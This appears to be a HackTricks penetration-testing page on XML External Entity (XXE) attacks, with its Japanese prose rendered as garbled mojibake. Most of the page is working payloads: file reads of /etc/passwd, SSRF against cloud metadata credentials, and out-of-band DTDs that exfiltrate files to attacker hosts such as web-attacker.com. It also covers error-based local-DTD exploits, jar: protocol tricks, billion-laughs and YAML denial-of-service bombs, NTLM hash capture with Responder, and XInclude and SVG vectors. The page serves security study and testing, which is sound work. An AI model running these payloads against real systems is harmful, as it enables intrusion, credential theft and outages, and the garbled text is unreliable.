XXE - XEE - XML External Entity
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
XMLã®åºæ¬
XMLã¯ããŒã¿ã®ä¿åãšèŒžéã®ããã«èšèšãããããŒã¯ã¢ããèšèªã§ãèšè¿°çã«ååä»ããããã¿ã°ã䜿çšããæè»ãªæ§é ãç¹åŸŽãšããŠããŸããHTMLãšã¯ç°ãªãããããããå®çŸ©ãããã¿ã°ã®ã»ããã«å¶éãããŠããŸãããJSONã®å°é ã«äŒŽããXMLã®éèŠæ§ã¯äœäžããŠããŸãããåœåã¯AJAXæè¡ã«ãããŠéèŠãªåœ¹å²ãæãããŠããŸããã
- ãšã³ãã£ãã£ã«ããããŒã¿è¡šçŸ: XMLã®ãšã³ãã£ãã£ã¯ã
<ã>ã®ãããªç¹æ®æåãå«ãããŒã¿ã®è¡šçŸãå¯èœã«ãããããã¯XMLã®ã¿ã°ã·ã¹ãã ãšã®è¡çªãé¿ããããã«<ãš>ã«å¯Ÿå¿ããŸãã - XMLèŠçŽ ã®å®çŸ©: XMLã¯èŠçŽ ã®åãå®çŸ©ããããšãå¯èœã«ããèŠçŽ ãã©ã®ããã«æ§é åãããã©ã®ãããªå 容ãå«ãããšãã§ããããæŠèª¬ããŸããå 容ã®çš®é¡ã¯ä»»æã®ã¿ã€ãããç¹å®ã®åèŠçŽ ãŸã§ããŸããŸã§ãã
- ææžåå®çŸ© (DTD): DTDã¯XMLã«ãããŠææžã®æ§é ãšå«ãããšãã§ããããŒã¿ã®åãå®çŸ©ããããã«éèŠã§ããå éšãå€éšããŸãã¯ãã®çµã¿åãããšããŠååšããææžã®ãã©ãŒããããšæ€èšŒæ¹æ³ãã¬ã€ãããŸãã
- ã«ã¹ã¿ã ããã³å€éšãšã³ãã£ãã£: XMLã¯ãæè»ãªããŒã¿è¡šçŸã®ããã«DTDå
ã§ã«ã¹ã¿ã ãšã³ãã£ãã£ã®äœæããµããŒãããŸããURLã§å®çŸ©ãããå€éšãšã³ãã£ãã£ã¯ãç¹ã«XMLå€éšãšã³ãã£ãã£ïŒXXEïŒæ»æã®æèã«ãããŠã»ãã¥ãªãã£äžã®æžå¿µãåŒãèµ·ãããŸããããã¯ãXMLããŒãµãŒãå€éšããŒã¿ãœãŒã¹ãåŠçããæ¹æ³ãæªçšããŸã:
<!DOCTYPE foo [ <!ENTITY myentity "value" > ]> - ãã©ã¡ãŒã¿ãšã³ãã£ãã£ã«ããXXEæ€åº: ç¹ã«åŸæ¥ã®æ¹æ³ãããŒãµãŒã®ã»ãã¥ãªãã£å¯Ÿçã«ãã倱æããå ŽåãXXEè匱æ§ãæ€åºããããã«XMLãã©ã¡ãŒã¿ãšã³ãã£ãã£ãå©çšã§ããŸãããããã®ãšã³ãã£ãã£ã¯ãDNSã«ãã¯ã¢ãããå¶åŸ¡ããããã¡ã€ã³ãžã®HTTPãªã¯ãšã¹ããããªã¬ãŒãããªã©ã®ã¢ãŠããªããã³ãæ€åºæè¡ãå¯èœã«ããè匱æ§ã確èªããŸãã
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]><!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>
äž»ãªæ»æ
æ°ãããšã³ãã£ãã£ãã¹ã
ãã®æ»æã§ã¯ãã·ã³ãã«ãªæ°ãããšã³ãã£ãã£å®£èšãæ©èœããŠãããã©ããããã¹ãããŸãã
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>
.png)
ãã¡ã€ã«ãèªã
/etc/passwdãç°ãªãæ¹æ³ã§èªã¿åã£ãŠã¿ãŸããããWindowsã®å Žåã¯ãC:\windows\system32\drivers\etc\hostsãèªã¿åã£ãŠã¿ãŠãã ããã
ãã®æåã®ã±ãŒã¹ã§ã¯ãSYSTEM â**file:///**etc/passwdâ ãæ©èœããããšã«æ³šæããŠãã ããã
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>
.png)
ãã®2çªç®ã®ã±ãŒã¹ã¯ããŠã§ããµãŒããŒãPHPã䜿çšããŠããå Žåã«ãã¡ã€ã«ãæœåºããã®ã«åœ¹ç«ã¡ãŸãïŒPortswiggerã®ã©ãã§ã¯ãªãå ŽåïŒã
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>
ãã®ç¬¬äžã®ã±ãŒã¹ã§ã¯ãElement stockCheckãANYãšããŠå®£èšããŠããããšã«æ³šæããŠãã ããã
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>
.png)
ãã£ã¬ã¯ããªãªã¹ã
Java ããŒã¹ã®ã¢ããªã±ãŒã·ã§ã³ã§ã¯ãXXEã䜿çšããŠãã€ããŒãã®ããã«ïŒãã¡ã€ã«ã§ã¯ãªããã£ã¬ã¯ããªãèŠæ±ããããšã§ïŒãã£ã¬ã¯ããªã®å 容ããªã¹ãããããšãå¯èœãªå ŽåããããŸãïŒ
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///"><root><foo>&xxe;</foo></root>
<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>
SSRF
XXEã¯ãã¯ã©ãŠãå ã®SSRFãæªçšããããã«äœ¿çšãããå¯èœæ§ããããŸãã
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
Blind SSRF
以åã«ã³ã¡ã³ãããæè¡ã䜿çšãããšããµãŒããŒãããªããå¶åŸ¡ãããµãŒããŒã«ã¢ã¯ã»ã¹ããŠããããšã瀺ãããšãã§ããŸãããããæ©èœããªãå Žåã¯ãXMLãšã³ãã£ãã£ãèš±å¯ãããŠããªãå¯èœæ§ããããŸãããã®å Žåã¯ãXMLãã©ã¡ãŒã¿ãšã³ãã£ãã£ã䜿çšããŠã¿ãããšãã§ããŸãïŒ
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
âBlindâ SSRF - ããŒã¿ãã¢ãŠããªããã³ãã§æœåºãã
ãã®å ŽåããµãŒããŒã«æªæã®ãããã€ããŒããå«ãæ°ããDTDãèªã¿èŸŒãŸãããã¡ã€ã«ã®å 容ãHTTPãªã¯ãšã¹ãã§éä¿¡ãããŸãïŒè€æ°è¡ã®ãã¡ã€ã«ã®å ŽåãäŸãã°ãã®åºæ¬ãµãŒããŒã䜿çšããŠ_ftp://_çµç±ã§æœåºã詊ã¿ãããšãã§ããŸãxxe-ftp-server.rbïŒããã®èª¬æã¯Portswiggers lab hereã«åºã¥ããŠããŸãã
äžããããæªæã®ããDTDã§ã¯ãããŒã¿ãæœåºããããã«äžé£ã®æé ãå®è¡ãããŸãïŒ
æªæã®ããDTDã®äŸïŒ
æ§é ã¯æ¬¡ã®ããã«ãªããŸãïŒ
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
ãã®DTDã«ãã£ãŠå®è¡ãããã¹ãããã¯æ¬¡ã®ãšããã§ãïŒ
- ãã©ã¡ãŒã¿ãšã³ãã£ãã£ã®å®çŸ©:
- XMLãã©ã¡ãŒã¿ãšã³ãã£ãã£
%fileãäœæããã/etc/hostnameãã¡ã€ã«ã®å 容ãèªã¿åããŸãã - å¥ã®XMLãã©ã¡ãŒã¿ãšã³ãã£ãã£
%evalãå®çŸ©ãããŸããããã¯åçã«æ°ããXMLãã©ã¡ãŒã¿ãšã³ãã£ãã£%exfiltrateã宣èšããŸãã%exfiltrateãšã³ãã£ãã£ã¯ãæ»æè ã®ãµãŒããŒã«HTTPãªã¯ãšã¹ããè¡ããURLã®ã¯ãšãªæååå ã«%fileãšã³ãã£ãã£ã®å å®¹ãæž¡ãããã«èšå®ãããŠããŸãã
- ãšã³ãã£ãã£ã®å®è¡:
%evalãšã³ãã£ãã£ãå©çšããã%exfiltrateãšã³ãã£ãã£ã®åç宣èšãå®è¡ãããŸãã- 次ã«
%exfiltrateãšã³ãã£ãã£ã䜿çšãããæå®ãããURLã«ãã¡ã€ã«ã®å 容ãå«ãHTTPãªã¯ãšã¹ããããªã¬ãŒãããŸãã
æ»æè
ã¯ããã®æªæã®ããDTDãèªåã®å¶åŸ¡äžã«ãããµãŒããŒã«ãã¹ãããéåžžã¯http://web-attacker.com/malicious.dtdã®ãããªURLã§æäŸããŸãã
XXEãã€ããŒã: è匱ãªã¢ããªã±ãŒã·ã§ã³ãæªçšããããã«ãæ»æè ã¯XXEãã€ããŒããéä¿¡ããŸãïŒ
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
ãã®ãã€ããŒãã¯ãXMLãã©ã¡ãŒã¿ãšã³ãã£ã㣠%xxe ãå®çŸ©ãããããDTDå
ã«çµã¿èŸŒã¿ãŸããXMLããŒãµãŒã«ãã£ãŠåŠçããããšããã®ãã€ããŒãã¯æ»æè
ã®ãµãŒããŒããå€éšDTDãååŸããŸããããŒãµãŒã¯ãã®åŸãDTDãã€ã³ã©ã€ã³ã§è§£éããæªæã®ããDTDã«èšèŒãããæé ãå®è¡ãã/etc/hostname ãã¡ã€ã«ãæ»æè
ã®ãµãŒããŒã«æµåºãããŸãã
ãšã©ãŒããŒã¹ïŒå€éšDTDïŒ
ãã®å ŽåããµãŒããŒããšã©ãŒã¡ãã»ãŒãžå ã«ãã¡ã€ã«ã®å 容ã衚瀺ããæªæã®ããDTDãèªã¿èŸŒãããã«ããŸãïŒããã¯ãšã©ãŒã¡ãã»ãŒãžãèŠããå Žåã«ã®ã¿æå¹ã§ãïŒã ããããã®äŸã
æªæã®ããå€éšææžåå®çŸ©ïŒDTDïŒã䜿çšããŠã/etc/passwd ãã¡ã€ã«ã®å
容ãæããã«ããXMLè§£æãšã©ãŒã¡ãã»ãŒãžãããªã¬ãŒã§ããŸããããã¯ä»¥äžã®æé ã§å®çŸãããŸãïŒ
fileãšããååã®XMLãã©ã¡ãŒã¿ãšã³ãã£ãã£ãå®çŸ©ããã/etc/passwdãã¡ã€ã«ã®å 容ãå«ãŸããŸããevalãšããååã®XMLãã©ã¡ãŒã¿ãšã³ãã£ãã£ãå®çŸ©ãããå¥ã®XMLãã©ã¡ãŒã¿ãšã³ãã£ãã£errorã®åç宣èšãçµã¿èŸŒã¿ãŸãããã®errorãšã³ãã£ãã£ã¯è©äŸ¡ããããšãååšããªããã¡ã€ã«ãèªã¿èŸŒãããšãããã®ååãšããŠfileãšã³ãã£ãã£ã®å 容ãçµã¿èŸŒã¿ãŸããevalãšã³ãã£ãã£ãåŒã³åºãããerrorãšã³ãã£ãã£ã®åç宣èšãè¡ãããŸããerrorãšã³ãã£ãã£ã®åŒã³åºãã¯ãååšããªããã¡ã€ã«ãèªã¿èŸŒãããšãããã¡ã€ã«åã®äžéšãšããŠ/etc/passwdãã¡ã€ã«ã®å 容ãå«ããšã©ãŒã¡ãã»ãŒãžãçæããŸãã
æªæã®ããå€éšDTDã¯ã以äžã®XMLã§åŒã³åºãããšãã§ããŸãïŒ
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
å®è¡æã«ããŠã§ããµãŒããŒã®å¿çã«ã¯/etc/passwdãã¡ã€ã«ã®å
容ã衚瀺ãããšã©ãŒã¡ãã»ãŒãžãå«ãŸããã¹ãã§ãã
.png)
å€éšDTDã¯ã2çªç®ã®evalå
ã«1ã€ã®ãšã³ãã£ãã£ãå«ããããšãèš±å¯ããŸãããå
éšDTDã§ã¯çŠæ¢ãããŠããŸãããããã£ãŠãå€éšDTDã䜿çšããã«ãšã©ãŒã匷å¶ããããšã¯ã§ããŸããïŒéåžžïŒã
ãšã©ãŒã«åºã¥ãïŒã·ã¹ãã DTDïŒ
ã§ã¯ãã¢ãŠããªããã³ãã®çžäºäœçšããããã¯ãããŠããå Žåã®ç²ç®çãªXXEè匱æ§ã¯ã©ãã§ããããïŒå€éšæ¥ç¶ãå©çšã§ããªãïŒïŒ
XMLèšèªä»æ§ã®æã穎ã¯ãææžã®DTDãå éšããã³å€éšã®å®£èšãæ··åããéã«ãšã©ãŒã¡ãã»ãŒãžãéããŠæ©å¯ããŒã¿ãé²åºãããããšãã§ããŸãããã®åé¡ã¯ãå€éšã§å®£èšããããšã³ãã£ãã£ã®å éšåå®çŸ©ãå¯èœã«ãããšã©ãŒã«åºã¥ãXXEæ»æã®å®è¡ãä¿é²ããŸãããã®ãããªæ»æã¯ãå€éšDTDã§å ã 宣èšãããXMLãã©ã¡ãŒã¿ãšã³ãã£ãã£ã®åå®çŸ©ãå©çšããŸãããµãŒããŒã«ãã£ãŠã¢ãŠããªããã³ãæ¥ç¶ããããã¯ãããŠããå Žåãæ»æè ã¯æ»æãå®è¡ããããã«ããŒã«ã«DTDãã¡ã€ã«ã«äŸåããæ©å¯æ å ±ãæããã«ããããã«è§£æãšã©ãŒãèªçºããããšãç®æããŸãã
ãµãŒããŒã®ãã¡ã€ã«ã·ã¹ãã ã«/usr/local/app/schema.dtdã«DTDãã¡ã€ã«ãå«ãŸããŠãããcustom_entityãšãããšã³ãã£ãã£ãå®çŸ©ããŠããã·ããªãªãèããŠã¿ãŸããããæ»æè
ã¯ã次ã®ããã«ãã€ããªããDTDãæåºããããšã§ã/etc/passwdãã¡ã€ã«ã®å
容ãæããã«ããXMLè§£æãšã©ãŒãèªçºã§ããŸãã
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file'>">
%eval;
%error;
'>
%local_dtd;
]>
ãã®DTDã«ãã£ãŠå®è¡ãããæé ã¯ä»¥äžã®éãã§ãïŒ
local_dtdãšããååã®XMLãã©ã¡ãŒã¿ãšã³ãã£ãã£ã®å®çŸ©ã«ã¯ããµãŒããŒã®ãã¡ã€ã«ã·ã¹ãã äžã«ããå€éšDTDãã¡ã€ã«ãå«ãŸããŠããŸãã- å€éšDTDã§å
ã
å®çŸ©ãããŠãã
custom_entityXMLãã©ã¡ãŒã¿ãšã³ãã£ãã£ã®åå®çŸ©ãè¡ããããšã©ãŒã«åºã¥ãXXEãšã¯ã¹ããã€ããã«ãã»ã«åããŸãããã®åå®çŸ©ã¯ãè§£æãšã©ãŒãåŒãèµ·ããã/etc/passwdãã¡ã€ã«ã®å 容ãé²åºãããããšãç®çãšããŠããŸãã local_dtdãšã³ãã£ãã£ã䜿çšããããšã§ãå€éšDTDãåŒã³åºãããæ°ãã«å®çŸ©ãããcustom_entityãå«ãŸããŸãããã®äžé£ã®ã¢ã¯ã·ã§ã³ã«ããããšã¯ã¹ããã€ããçããšã©ãŒã¡ãã»ãŒãžãçºçããŸãã
å®äžçã®äŸ: GNOMEãã¹ã¯ãããç°å¢ã䜿çšããŠããã·ã¹ãã ã§ã¯ã/usr/share/yelp/dtd/docbookx.dtdã«ISOamsoãšãããšã³ãã£ãã£ãå«ãDTDãååšããããšããããããŸãã
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
.png)
ãã®æè¡ã¯å éšDTDã䜿çšããããããŸãæå¹ãªãã®ãèŠã€ããå¿ èŠããããŸãããããè¡ãã«ã¯ããµãŒããŒã䜿çšããŠããã®ãšåãOS / ãœãããŠã§ã¢ãã€ã³ã¹ããŒã«ããããã€ãã®ããã©ã«ãDTDãæ€çŽ¢ããããã·ã¹ãã å ã®ããã©ã«ãDTDã®ãªã¹ããååŸããŠãã©ãããååšãããã確èªããŸãïŒ
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
詳现ã«ã€ããŠã¯ãhttps://portswigger.net/web-security/xxe/blindã確èªããŠãã ããã
ã·ã¹ãã å ã®DTDãèŠã€ãã
次ã®çŽ æŽãããGitHubãªããžããªã§ã¯ãã·ã¹ãã ã«ååšããå¯èœæ§ã®ããDTDã®ãã¹ãèŠã€ããããšãã§ããŸãïŒ
dtd-finder/list at master \xc2\xb7 GoSecure/dtd-finder \xc2\xb7 GitHub
ããã«ã被害è ã·ã¹ãã ã®Dockerã€ã¡ãŒãžãæã£ãŠããå Žåã¯ãåããªããžããªã®ããŒã«ã䜿çšããŠãã€ã¡ãŒãžãã¹ãã£ã³ããã·ã¹ãã å ã«ååšããDTDã®ãã¹ãèŠã€ããããšãã§ããŸããæ¹æ³ã«ã€ããŠã¯ãGitHubã®Readmeããèªã¿ãã ããã
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
Scanning TAR file /tmp/dadocker.tar
[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []
XXE via Office Open XML Parsers
ãã®æ»æã®è©³çްãªèª¬æã«ã€ããŠã¯ã**ãã®çŽ æŽãããæçš¿ ã®ç¬¬äºã»ã¯ã·ã§ã³ã確èªããŠãã ããã
Microsoft Office ããã¥ã¡ã³ãã®ã¢ããããŒãæ©èœã¯å€ãã®ãŠã§ãã¢ããªã±ãŒã·ã§ã³ã§æäŸãããŠããããããã®ããã¥ã¡ã³ãããç¹å®ã®è©³çŽ°ãæœåºããŸããããšãã°ããŠã§ãã¢ããªã±ãŒã·ã§ã³ã¯ãŠãŒã¶ãŒã XLSX 圢åŒã®ã¹ãã¬ããã·ãŒããã¢ããããŒãããããšã§ããŒã¿ãã€ã³ããŒãããããšãèš±å¯ããå ŽåããããŸããããŒãµãŒãã¹ãã¬ããã·ãŒãããããŒã¿ãæœåºããããã«ã¯ãå¿ ç¶çã«å°ãªããšã1ã€ã®XMLãã¡ã€ã«ãè§£æããå¿ èŠããããŸãã
ãã®è匱æ§ããã¹ãããã«ã¯ãXXEãã€ããŒããå«ãMicrosoft Officeãã¡ã€ã«ãäœæããå¿ èŠããããŸããæåã®ã¹ãããã¯ãããã¥ã¡ã³ããè§£åã§ãã空ã®ãã£ã¬ã¯ããªãäœæããããšã§ãã
ããã¥ã¡ã³ããè§£åããããã./unzipped/word/document.xml ã«ããXMLãã¡ã€ã«ãéãã奜ã¿ã®ããã¹ããšãã£ã¿ïŒäŸãã°vimïŒã§ç·šéããŸããXMLã¯ãHTTPãªã¯ãšã¹ãã§å§ãŸãããšãå€ããæãŸããXXEãã€ããŒããå«ãããã«ä¿®æ£ããå¿
èŠããããŸãã
ä¿®æ£ãããXMLè¡ã¯ã2ã€ã®ã«ãŒãXMLãªããžã§ã¯ãã®éã«æ¿å ¥ããå¿ èŠããããŸãããªã¯ãšã¹ãçšã«ã¢ãã¿ãªã³ã°å¯èœãªURLã«çœ®ãæããããšãéèŠã§ãã
æåŸã«ããã¡ã€ã«ãå§çž®ããŠæªæã®ãã poc.docx ãã¡ã€ã«ãäœæã§ããŸãã以åã«äœæãããunzippedããã£ã¬ã¯ããªãããæ¬¡ã®ã³ãã³ããå®è¡ããå¿ èŠããããŸãïŒ
äœæãããã¡ã€ã«ãæœåšçã«è匱ãªãŠã§ãã¢ããªã±ãŒã·ã§ã³ã«ã¢ããããŒãã§ããBurp Collaborator ã®ãã°ã«ãªã¯ãšã¹ãã衚瀺ãããããšãæåŸ ã§ããŸãã
Jar: protocol
jar ãããã³ã«ã¯ãJavaã¢ããªã±ãŒã·ã§ã³å
ã§ã®ã¿ã¢ã¯ã»ã¹å¯èœã§ããããã¯ãPKZIP ã¢ãŒã«ã€ãïŒäŸïŒ.zipã.jar ãªã©ïŒå
ã®ãã¡ã€ã«ã¢ã¯ã»ã¹ãå¯èœã«ããããã«èšèšãããŠãããããŒã«ã«ãã¡ã€ã«ãšãªã¢ãŒããã¡ã€ã«ã®äž¡æ¹ã«å¯Ÿå¿ããŠããŸãã
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
Caution
PKZIPãã¡ã€ã«å ã®ãã¡ã€ã«ã«ã¢ã¯ã»ã¹ã§ããããšã¯ãã·ã¹ãã DTDãã¡ã€ã«ãä»ããŠXXEãæªçšããã®ã«éåžžã«äŸ¿å©ã§ãã ãã®ã»ã¯ã·ã§ã³ã確èªããŠãã·ã¹ãã DTDãã¡ã€ã«ãæªçšããæ¹æ³ãåŠãã§ãã ããã
PKZIPã¢ãŒã«ã€ãå ã®ãã¡ã€ã«ã«jarãããã³ã«ãä»ããŠã¢ã¯ã»ã¹ããããã»ã¹ã¯ãããã€ãã®ã¹ããããå«ã¿ãŸãïŒ
- æå®ãããå Žæããzipã¢ãŒã«ã€ããããŠã³ããŒãããããã«HTTPãªã¯ãšã¹ããè¡ãããŸããäŸãã°ã
https://download.website.com/archive.zipã®ãããªå Žæã§ãã - ã¢ãŒã«ã€ããå«ãHTTPã¬ã¹ãã³ã¹ã¯ãéåžž
/tmp/...ã®ãããªå Žæã«äžæçã«ã·ã¹ãã ã«ä¿åãããŸãã - ã¢ãŒã«ã€ããæœåºããããã®å 容ã«ã¢ã¯ã»ã¹ããŸãã
- ã¢ãŒã«ã€ãå
ã®ç¹å®ã®ãã¡ã€ã«
file.zipãèªã¿åãããŸãã - æäœåŸããã®ããã»ã¹äžã«äœæãããäžæãã¡ã€ã«ã¯åé€ãããŸãã
ãã®ããã»ã¹ã®2çªç®ã®ã¹ãããã§äžæããããã®è峿·±ããã¯ããã¯ã¯ãã¢ãŒã«ã€ããã¡ã€ã«ãæäŸããéã«ãµãŒããŒæ¥ç¶ãç¡æéã«ãªãŒãã³ã«ä¿ã€ããšã§ãããã®ç®çã®ããã«ããã®ãªããžããªã«ããããŒã«ãå©çšã§ããŸããããã«ã¯ãPythonãµãŒããŒïŒslow_http_server.pyïŒãJavaãµãŒããŒïŒslowserver.jarïŒãå«ãŸããŸãã
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
Caution
äžæãã£ã¬ã¯ããªã«ãã¡ã€ã«ãæžã蟌ãããšã¯ããã¹ã»ãã©ããŒãµã«ã«é¢ããå¥ã®è匱æ§ããšã¹ã«ã¬ãŒãããã®ã«åœ¹ç«ã€å¯èœæ§ããããŸãïŒããŒã«ã«ãã¡ã€ã«ã€ã³ã¯ã«ãŒãããã³ãã¬ãŒãã€ã³ãžã§ã¯ã·ã§ã³ãXSLT RCEããã·ãªã¢ã©ã€ãºãªã©ïŒã
XSS
<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>
DoS
ããªãªã³ã©ãæ»æ
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
Yamlæ»æ
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
äºæ¬¡ççºæ»æ
.png)
NTMLã®ååŸ
Windowsãã¹ãã§ã¯ãresponder.pyãã³ãã©ãŒãèšå®ããããšã§ããŠã§ããµãŒããŒãŠãŒã¶ãŒã®NTMLããã·ã¥ãååŸããããšãå¯èœã§ã:
Responder.py -I eth0 -v
以äžã®ãªã¯ãšã¹ããéä¿¡ããããšã«ãã£ãŠ
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>
ãã®åŸãhashcatã䜿çšããŠããã·ã¥ãã¯ã©ããã³ã°ããããšãã§ããŸãã
é ããXXEã®åºçŸ
XInclude
ã¯ã©ã€ã¢ã³ãããŒã¿ããµãŒããŒåŽã®XMLããã¥ã¡ã³ãã«çµ±åããéãããã¯ãšã³ãã®SOAPãªã¯ãšã¹ãã®ããã«ãXMLæ§é ã«å¯ŸããçŽæ¥çãªå¶åŸ¡ã¯ãã°ãã°å¶éãããDOCTYPEèŠçŽ ã®å€æŽã«å¯Ÿããå¶çŽã®ããã«åŸæ¥ã®XXEæ»æã劚ããããŸããããããXIncludeæ»æã¯ãXMLããã¥ã¡ã³ãã®ä»»æã®ããŒã¿èŠçŽ å
ã«å€éšãšã³ãã£ãã£ãæ¿å
¥ããããšãå¯èœã«ããããšã§è§£æ±ºçãæäŸããŸãããã®æ¹æ³ã¯ããµãŒããŒçæã®XMLããã¥ã¡ã³ãå
ã®ããŒã¿ã®äžéšã®ã¿ãå¶åŸ¡ã§ããå Žåã§ã广çã§ãã
XIncludeæ»æãå®è¡ããã«ã¯ãXIncludeåå空éã宣èšããæå³ããå€éšãšã³ãã£ãã£ã®ãã¡ã€ã«ãã¹ãæå®ããå¿
èŠããããŸãã以äžã¯ããã®ãããªæ»æãã©ã®ããã«æ§æããããã®ç°¡æœãªäŸã§ãïŒ
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
Check https://portswigger.net/web-security/xxe for more info!
SVG - ãã¡ã€ã«ã¢ããããŒã
ãŠãŒã¶ãŒãç¹å®ã®ã¢ããªã±ãŒã·ã§ã³ã«ã¢ããããŒããããã¡ã€ã«ã¯ããµãŒããŒã§åŠçãããéã«ãXMLãŸãã¯XMLãå«ããã¡ã€ã«åœ¢åŒã®åãæ±ãã«ãããè匱æ§ãæªçšããå¯èœæ§ããããŸããäžè¬çãªãã¡ã€ã«åœ¢åŒã§ãããªãã£ã¹ææžïŒDOCXïŒãç»åïŒSVGïŒã¯ãXMLã«åºã¥ããŠããŸãã
ãŠãŒã¶ãŒãç»åãã¢ããããŒããããšããããã®ç»åã¯ãµãŒããŒåŽã§åŠçãŸãã¯æ€èšŒãããŸããPNGãJPEGãªã©ã®åœ¢åŒãæåŸ ããã¢ããªã±ãŒã·ã§ã³ã§ãã£ãŠãããµãŒããŒã®ç»ååŠçã©ã€ãã©ãªã¯SVGç»åããµããŒãããŠããå¯èœæ§ããããŸããSVGã¯XMLããŒã¹ã®åœ¢åŒã§ãããããæ»æè ãæªæã®ããSVGç»åãæåºããããšã§ããµãŒããŒãXXEïŒXMLå€éšãšã³ãã£ãã£ïŒè匱æ§ã«ãããããšãã§ããŸãã
以äžã«ãã®ãããªæ»æã®äŸã瀺ããŸããæªæã®ããSVGç»åãã·ã¹ãã ãã¡ã€ã«ãèªã¿åãããšããŠããŸãïŒ
